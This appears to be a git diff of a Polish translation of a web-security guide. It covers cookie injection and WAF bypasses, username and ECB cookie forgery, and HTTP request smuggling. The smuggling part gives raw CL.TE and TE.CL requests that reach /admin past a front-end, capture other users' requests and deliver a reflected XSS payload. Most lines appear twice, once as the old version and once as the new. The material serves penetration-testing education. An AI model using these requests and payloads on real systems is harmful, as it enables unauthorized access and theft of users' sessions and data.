Wynik w nagłówku cookie wysłanym to `a=v1; test value; b=v2;`. Intrygujące jest to, że umożliwia to manipulację cookie, jeśli ustawione jest cookie o pustej nazwie, potencjalnie kontrolując inne cookie, ustawiając puste cookie na określoną wartość:
Wynik w nagłówku cookie wysłanym to `a=v1; test value; b=v2;`. Intrygująco, umożliwia to manipulację cookie, jeśli ustawione jest cookie o pustej nazwie, potencjalnie kontrolując inne cookie poprzez ustawienie pustego cookie na określoną wartość:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
@ -157,7 +157,7 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
To prowadzi do tego, że przeglądarka wysyła nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie `a` z wartością `b`.
#### Błąd Chrome: Problem z kodem zastępczym Unicode
#### Chrome Bug: Problem z kodem zastępczym Unicode
W Chrome, jeśli kod zastępczy Unicode jest częścią ustawionego cookie, `document.cookie` staje się uszkodzone, zwracając pusty ciąg w następstwie:
```js
@ -173,30 +173,30 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Luki w wstrzykiwaniu ciasteczek
(Sprawdź szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków wstrzykiwania ciasteczek. Serwery te nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków wstrzykiwania ciasteczek. Serwery te nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
- Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowie bez średnika.
- Zope szuka przecinka, aby rozpocząć analizowanie następnego ciasteczka.
- Klasy ciasteczek Pythona zaczynają analizowanie od znaku spacji.
Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych polegających na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, potencjalnie omijając środki bezpieczeństwa. Problem jest zaostrzony przez sposób, w jaki Python obsługuje duplikaty nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych opartych na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, co potencjalnie omija środki bezpieczeństwa. Problem ten jest zaostrzany przez sposób, w jaki Python obsługuje duplikaty nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
### Ciasteczka $version i obejścia WAF
Zgodnie z [**tym wpisem na blogu**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), możliwe jest użycie atrybutu ciasteczka **`$Version=1`**, aby backend używał starej logiki do analizy ciasteczka z powodu **RFC2109**. Ponadto inne wartości, takie jak **`$Domain`** i **`$Path`**, mogą być używane do modyfikacji zachowania backendu z ciasteczkiem.
#### Analiza obejścia wartości z kodowaniem ciągów w cudzysłowie
#### Analiza obejścia wartości z kodowaniem ciągów cytowanych
Ta analiza wskazuje na usunięcie znaków ucieczki z wartości wewnątrz ciasteczek, więc "\a" staje się "a". Może to być przydatne do obejścia WAF, ponieważ:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Obejście blokad nazw ciasteczek
#### Obejścia blokad nazw ciasteczek
W RFC2109 wskazano, że **przecinek może być używany jako separator między wartościami ciasteczek**. Możliwe jest również dodanie **spacji i tabulatorów przed i po znaku równości**. Dlatego ciasteczko takie jak `$Version=1; foo=bar, abc = qux` nie generuje ciasteczka `"foo":"bar, admin = qux"`, ale ciasteczka `foo":"bar"` i `"admin":"qux"`. Zauważ, jak generowane są 2 ciasteczka i jak usunięto spację przed i po znaku równości.
#### Analiza obejścia wartości z dzieleniem ciasteczek
#### Analiza obejścia wartości z podziałem ciasteczek
Na koniec różne tylne drzwi mogą łączyć w jeden ciąg różne ciasteczka przekazywane w różnych nagłówkach ciasteczek, jak w:&#x20;
```
@ -226,10 +226,10 @@ Resulting cookie: name=eval('test//, comment') => allowed
#### **Zaawansowane ataki na ciasteczka**
Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) podczas logowania, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem). Wtedy możesz:
Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) podczas logowania, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem użytkownika). Wtedy możesz:
- Spróbować utworzyć wiele **kont** z bardzo **podobnymi** nazwiskami i spróbować **zgadnąć**, jak działa algorytm.
- Spróbować **bruteforce'ować nazwisko**. Jeśli ciasteczko jest zapisywane tylko jako metoda uwierzytelniania dla twojego nazwiska, wtedy możesz utworzyć konto z nazwiskiem "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
- Spróbować utworzyć wiele **kont** z nazwiskami użytkowników bardzo **podobnymi** i spróbować **zgadnąć**, jak działa algorytm.
- Spróbować **bruteforce'ować nazwisko użytkownika**. Jeśli ciasteczko jest zapisywane tylko jako metoda uwierzytelniania dla twojego nazwiska użytkownika, wtedy możesz utworzyć konto z nazwiskiem użytkownika "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
- Spróbuj **Padding** **Oracle** (możesz odszyfrować zawartość ciasteczka). Użyj **padbuster**.
**Padding Oracle - Przykłady Padbuster**
@ -269,11 +269,11 @@ Kiedy logujesz się, ciasteczko, które otrzymujesz, musi być zawsze takie samo
**Jak wykryć i zaatakować:**
Utwórz 2 użytkowników z prawie tymi samymi danymi (nazwa użytkownika, hasło, e-mail itp.) i spróbuj odkryć jakiś wzór w danym ciasteczku.
Utwórz 2 użytkowników z prawie tymi samymi danymi (nazwa użytkownika, hasło, e-mail itp.) i spróbuj odkryć jakiś wzór wewnątrz danego ciasteczka.
Utwórz użytkownika o nazwie na przykład "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w ciasteczku jest jakiś wzór (ponieważ ECB szyfruje z tym samym kluczem każdy blok, te same zaszyfrowane bajty mogą się pojawić, jeśli nazwa użytkownika jest szyfrowana).
Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana grupa "a", możesz stworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana masa "a", możesz stworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
## References

View File

@ -4,14 +4,14 @@
## Co to jest
Ta luka występuje, gdy **desynchronizacja** między **proxy front-end** a **serwerem back-end** pozwala **atakującemu** na **wysłanie** żądania HTTP, które będzie **interpretowane** jako **pojedyncze żądanie** przez **proxy front-end** (load balance/reverse-proxy) i **jako 2 żądania** przez **serwer back-end**.\
Ta luka występuje, gdy **desynchronizacja** między **proxy front-end** a **serwerem back-end** pozwala **atakującemu** na **wysłanie** żądania HTTP, które będzie **interpretowane** jako **jedno żądanie** przez **proxy front-end** (load balance/reverse-proxy) i **jako 2 żądania** przez **serwer back-end**.\
To pozwala użytkownikowi na **zmodyfikowanie następnego żądania, które dotrze do serwera back-end po jego**.
### Teoria
[**Specyfikacja RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Jeśli wiadomość jest odbierana z nagłówkiem Transfer-Encoding oraz nagłówkiem Content-Length, ten ostatni MUSI być zignorowany.
> Jeśli wiadomość zostanie odebrana z zarówno polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI być zignorowane.
**Content-Length**
@ -24,8 +24,8 @@ To pozwala użytkownikowi na **zmodyfikowanie następnego żądania, które dotr
### Rzeczywistość
**Front-End** (load-balance / Reverse Proxy) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_ a **serwer Back-end** **przetwarza** drugi, co powoduje **desynchronizację** między 2 systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie mógł wysłać jedno żądanie** do reverse proxy, które będzie **interpretowane** przez **serwer back-end** **jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end** **zinterpretuje** **2-gie wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **prawdziwe żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
**Front-End** (load-balance / Reverse Proxy) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_ a **serwer Back-end** **przetwarza** ten drugi, co powoduje **desynchronizację** między 2 systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie mógł wysłać jedno żądanie** do reverse proxy, które będzie **interpretowane** przez **serwer back-end** **jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end** **zinterpretuje** **2. wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **prawdziwe żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
### Szczególności
@ -33,14 +33,14 @@ Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**
- **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **znak nowej linii nie jest potrzebny na końcu żądania**.
- **Transfer-Encoding:** Ten nagłówek używa w **ciele** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **kończyć się** znakiem **nowej linii**, ale ten nowy znak **nie jest liczony** przez wskaźnik długości. Ta metoda transferu musi kończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
- **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w smugglingu żądań.
- **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w przypadku HTTP Request Smuggling.
## Podstawowe przykłady
> [!TIP]
> Próbując wykorzystać to z Burp Suite **wyłącz `Update Content-Length` i `Normalize HTTP/1 line endings`** w repeaterze, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i źle sformułowanych długości treści.
> Podczas próby wykorzystania tego z Burp Suite **wyłącz `Update Content-Length` i `Normalize HTTP/1 line endings`** w repeaterze, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i źle sformułowanych długości treści.
Ataki smugglingu żądań HTTP są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą manifestować się w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka wynika z przetwarzania tego samego żądania przez serwery w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych skutków.
Ataki HTTP request smuggling są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą manifestować się w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka powstaje, gdy serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych wyników.
### Podstawowe przykłady typów luk
@ -56,7 +56,7 @@ Ataki smugglingu żądań HTTP są tworzone poprzez wysyłanie niejednoznacznych
- **Scenariusz ataku:**
- Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie odpowiada rzeczywistej długości treści.
- Serwer front-end przesyła całe żądanie do back-endu, opierając się na wartości `Content-Length`.
- Serwer front-end przesyła całe żądanie do serwera back-end, opierając się na wartości `Content-Length`.
- Serwer back-end przetwarza żądanie jako kawałkowe z powodu nagłówka `Transfer-Encoding: chunked`, interpretując pozostałe dane jako osobne, następne żądanie.
- **Przykład:**
@ -80,7 +80,7 @@ Foo: x
- **Scenariusz ataku:**
- Atakujący wysyła żądanie kawałkowe, w którym rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie są zgodne.
- Serwer front-end, honorując `Transfer-Encoding`, przesyła całe żądanie do back-endu.
- Serwer front-end, honorując `Transfer-Encoding`, przesyła całe żądanie do serwera back-end.
- Serwer back-end, respektując `Content-Length`, przetwarza tylko początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
- **Przykład:**
@ -102,13 +102,13 @@ x=
```
#### Luka TE.TE (Transfer-Encoding używany przez oba, z obfuskacją)
#### Luka TE.TE (Transfer-Encoding używany przez oba, z obfuscacją)
- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może być oszukany, aby go zignorować poprzez obfuskację.
- **Serwery:** Oba wspierają `Transfer-Encoding`, ale jeden może być oszukany, aby go zignorować poprzez obfuscację.
- **Scenariusz ataku:**
- Atakujący wysyła żądanie z obfuskowanymi nagłówkami `Transfer-Encoding`.
- W zależności od tego, który serwer (front-end czy back-end) nie rozpozna obfuskacji, może zostać wykorzystana luka CL.TE lub TE.CL.
- Atakujący wysyła żądanie z obfuscowanymi nagłówkami `Transfer-Encoding`.
- W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuscacji, może zostać wykorzystana luka CL.TE lub TE.CL.
- Nieprzetworzona część żądania, widziana przez jeden z serwerów, staje się częścią następnego żądania, prowadząc do smugglingu.
- **Przykład:**
@ -129,7 +129,7 @@ Transfer-Encoding
: chunked
```
#### **Scenariusz CL.CL (Content-Length używany przez oba Front-End i Back-End)**
#### **Scenariusz CL.CL (Content-Length używany przez oba, Front-End i Back-End)**
- Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
- Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w tym, jak oba serwery interpretują długość żądania.
@ -181,15 +181,15 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Łamanie serwera WWW
#### Breaking the web server
Ta technika jest również przydatna w scenariuszach, w których możliwe jest **złamanie serwera WWW podczas odczytywania początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **ciało** żądania HTTP będzie traktowane jako **następne żądanie HTTP**.
Ta technika jest również przydatna w scenariuszach, w których możliwe jest **złamanie serwera webowego podczas odczytywania początkowych danych HTTP**, ale **bez zamykania połączenia**. W ten sposób **ciało** żądania HTTP zostanie uznane za **następne żądanie HTTP**.
Na przykład, jak wyjaśniono w [**tym artykule**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie niektórych **znaków Unicode**, co spowodowało **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc **ciało** żądania będzie traktowane jako **następne żądanie HTTP**.
Na przykład, jak wyjaśniono w [**tym opisie**](https://mizu.re/post/twisty-python), w Werkzeug możliwe było wysłanie niektórych **znaków Unicode**, co spowodowało **złamanie** serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem **`Connection: keep-alive`**, ciało żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc **ciało** żądania zostanie potraktowane jako **następne żądanie HTTP**.
#### Wymuszanie przez nagłówki hop-by-hop
#### Forcing via hop-by-hop headers
Wykorzystując nagłówki hop-by-hop, możesz wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, aby możliwe było nadużycie smugglingu żądań HTTP**.
Wykorzystując nagłówki hop-by-hop, możesz wskazać proxy, aby **usunęło nagłówek Content-Length lub Transfer-Encoding, aby możliwe było nadużycie smugglingu żądań HTTP**.
```
Connection: Content-Length
```
@ -265,14 +265,14 @@ X
### Testowanie podatności na HTTP Request Smuggling
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL`, omówione wcześniej w [Podstawowych przykładach](./#basic-examples), pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu.
Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL`, omówione wcześniej w [Podstawowych przykładach](#basic-examples), pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu.
**Kluczowe uwagi**
Podczas testowania podatności na request smuggling poprzez zakłócanie innych żądań, pamiętaj o:
- **Oddzielnych połączeniach sieciowych:** "atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
- **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
- **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
- **Czasu i warunków wyścigu:** "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób, aby potwierdzić podatność.
- **Wyzwań związanych z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność.
- **Niezamierzony wpływ na użytkowników:** Jeśli twój atak niezamierzenie wpływa na żądanie innego użytkownika (nie "normalne" żądanie, które wysłałeś w celu wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócać innych użytkowników, co wymaga ostrożnego podejścia.
@ -281,7 +281,7 @@ Podczas testowania podatności na request smuggling poprzez zakłócanie innych
### Ominięcie zabezpieczeń front-end za pomocą HTTP Request Smuggling
Czasami proxy front-end wprowadza środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony z zewnątrz, a proxy front-end aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać analizę osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając lukę do ominięcia tych ograniczeń.
Czasami proxy front-end wymuszają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony z zewnątrz, a proxy front-end aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać sprawdzenie osadzonych żądań w ramach zafałszowanego żądania HTTP, pozostawiając lukę do ominięcia tych ograniczeń.
Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być używane do ominięcia zabezpieczeń front-end, szczególnie celując w ścieżkę `/admin`, która jest zazwyczaj chroniona przez proxy front-end:
@ -304,7 +304,7 @@ x=
```
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany w początkowym żądaniu, podczas gdy osadzone żądanie korzysta z nagłówka `Transfer-Encoding: chunked`. Proxy front-end przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
**TE.CL Przykład**
**TE.CL Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -320,13 +320,13 @@ a=x
0
```
W ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija oszukańcze żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.
W przeciwnym razie, w ataku TE.CL, początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, frontowy proxy pomija przemycone żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.
### Odkrywanie przepisywania żądań front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Aplikacje często wykorzystują **serwer front-end** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-end. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**.
Aplikacje często wykorzystują **serwer frontowy** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera zaplecza. Typowa modyfikacja polega na dodaniu nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do zaplecza. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**.
Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który zaplecze odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru jako ostatniego, podobnie jak w poniższym przykładzie:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -347,11 +347,11 @@ W tej strukturze kolejne komponenty żądania są dołączane po `search=`, któ
Ważne jest, aby dostosować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od małej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ta technika ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
Ta technika ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru search.
Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-end, zasadniczo przeprowadzając samodzielne dochodzenie.
Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-endowe, zasadniczo przeprowadzając samodzielne dochodzenie.
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Możliwe jest przechwycenie żądań następnego użytkownika, dołączając konkretne żądanie jako wartość parametru podczas operacji POST. Oto jak można to osiągnąć:
@ -377,9 +377,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
W tym scenariuszu **parametr komentarza** ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnym stronie. W związku z tym, zawartość kolejnego żądania pojawi się jako komentarz.
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemyconym żądaniu. Dla przesyłania formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania.
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemycanym żądaniu. Dla formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania.
Dodatkowo warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach żądanie powinno kończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
Dodatkowo warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.
### Wykorzystanie przemycania żądań HTTP do eksploatacji odzwierciedlonego XSS
@ -388,7 +388,7 @@ Przemycanie żądań HTTP może być wykorzystane do eksploatacji stron internet
- Interakcja z docelowymi użytkownikami **nie jest wymagana**.
- Umożliwia eksploatację XSS w częściach żądania, które są **normalnie niedostępne**, jak nagłówki żądań HTTP.
W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS przez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -411,22 +411,22 @@ A=
```
Ten ładunek jest skonstruowany w celu wykorzystania luki poprzez:
1. Inicjowanie żądania `POST`, które wydaje się typowe, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek przemytu.
2. Następnie, z `0`, oznaczającym koniec ciała wiadomości w formacie chunked.
3. Potem wprowadzane jest przemytowe żądanie `GET`, w którym nagłówek `User-Agent` jest wstrzykiwany skryptem, `<script>alert(1)</script>`, co wywołuje XSS, gdy serwer przetwarza to kolejne żądanie.
1. Inicjowanie żądania `POST`, które wydaje się typowe, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglingu.
2. Następnie, po nim, znajduje się `0`, oznaczający koniec ciała wiadomości chunked.
3. Potem wprowadzane jest smuggled `GET` żądanie, w którym nagłówek `User-Agent` jest wstrzykiwany z skryptem, `<script>alert(1)</script>`, co wywołuje XSS, gdy serwer przetwarza to kolejne żądanie.
Manipulując `User-Agent` poprzez przemyt, ładunek omija normalne ograniczenia żądań, wykorzystując w ten sposób lukę Reflected XSS w niestandardowy, ale skuteczny sposób.
Manipulując `User-Agent` poprzez smuggling, ładunek omija normalne ograniczenia żądań, wykorzystując w ten sposób lukę Reflected XSS w niestandardowy, ale skuteczny sposób.
#### HTTP/0.9
> [!CAUTION]
> W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9, może być możliwe ominięcie tego**!
Wersja HTTP/0.9 była wcześniejsza od 1.0 i używa tylko czasowników **GET** oraz **nie** odpowiada z **nagłówkami**, tylko ciałem.
Wersja HTTP/0.9 była wcześniejsza od 1.0 i używa tylko czasowników **GET** oraz **nie** odpowiada nagłówkami, tylko ciałem.
W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z przemytowym żądaniem i **wrażliwym punktem końcowym, który odpowiada na dane użytkownika**, aby przemycić żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonawczy kod JS z `Content-Type` równym `text/html`.
